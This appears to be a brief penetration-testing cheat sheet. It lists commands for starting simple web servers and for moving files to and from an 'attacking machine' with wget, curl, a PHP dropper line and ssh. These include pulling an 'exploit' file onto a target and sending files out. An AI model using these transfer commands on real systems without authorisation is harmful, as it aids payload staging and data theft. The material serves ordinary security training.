Simple Local Web Servers
Run a basic HTTP server with Python:
python -m SimpleHTTPServer 80
Run a basic HTTP server with Python3:
python3 -m http.server
Run a ruby webrick basic HTTP server:
ruby -run -e httpd . -p 8000
Run a PHP HTTP server:
php -S localhost:8000
After setting up the webserver, you can transfer files using one of the following methods:
Wget:
wget 192.168.1.102:80/file.txt
Curl:
curl -O http://192.168.1.101/file.txt
PHP:
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.101/file.txt', 'r')); ?>" > file.php
SSH:
To put files to the attacking machine
ssh [email protected]101 "cat > proof.txt" < proof.txt
To get files from the attacking machine
ssh [email protected] "cat exploit" > exploit